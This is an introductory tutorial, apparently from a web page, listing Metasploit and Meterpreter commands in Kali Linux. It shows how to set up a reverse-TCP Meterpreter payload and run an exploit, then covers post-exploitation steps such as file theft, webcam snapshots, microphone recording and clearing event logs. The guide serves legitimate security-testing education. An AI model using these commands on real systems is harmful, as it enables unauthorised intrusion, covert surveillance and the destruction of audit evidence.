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Metasploit Basics in Kali Linux – Usage & Meterpreter Commands
Metasploit is a powerful penetration testing framework used in Kali Linux to test system security and find vulnerabilities. It provides a wide range of tools and modules that help in security testing, exploitation, and post-exploitation tasks in a controlled environment. It allows users to test different security tools and observe how a system reacts.
Installation Commands
In most Kali Linux systems, Metasploit is pre-installed. If not available, install it using:
sudo apt update && sudo apt install metasploit-framework -yCheck version:
msfconsole --versionUsage Commands
Usage Commands explain how to start Metasploit, select modules, set targets, and run exploits. Below commands will helps in performing basic operations in the framework step by step.
Start Metasploit:
msfconsoleSearch modules:
search exploit
search ssh
search windowsUse a module:
use exploit/multi/handlerShow options:
show optionsSet target:
set RHOSTS 192.168.1.1Set payload:
set payload windows/meterpreter/reverse_tcpRun exploit:
exploitMeterpreter Commands
Meterpreter is a tool in Metasploit that gives control of a target system after exploitation. It allows you to run commands, access files, and view system information during testing.
Check system info:
sysinfoGet current user:
getuidList files:
lsChange directory:
cd /pathShow current directory:
pwdDownload file:
download file.txtUpload file:
upload file.txtTake screenshot:
screenshotList running processes:
psKill process:
kill <pid>Open shell:
shellGet webcam (if available):
webcam_list
webcam_snapRecord microphone:
record_micClear event logs:
clearevSession list:
sessionsInteract with session:
sessions -i 1Metasploit Basic Commands
Show help:
helpShow version:
versionShow payloads:
show payloadsShow exploits:
show exploitsShow advanced options:
show advancedExit Metasploit:
exit
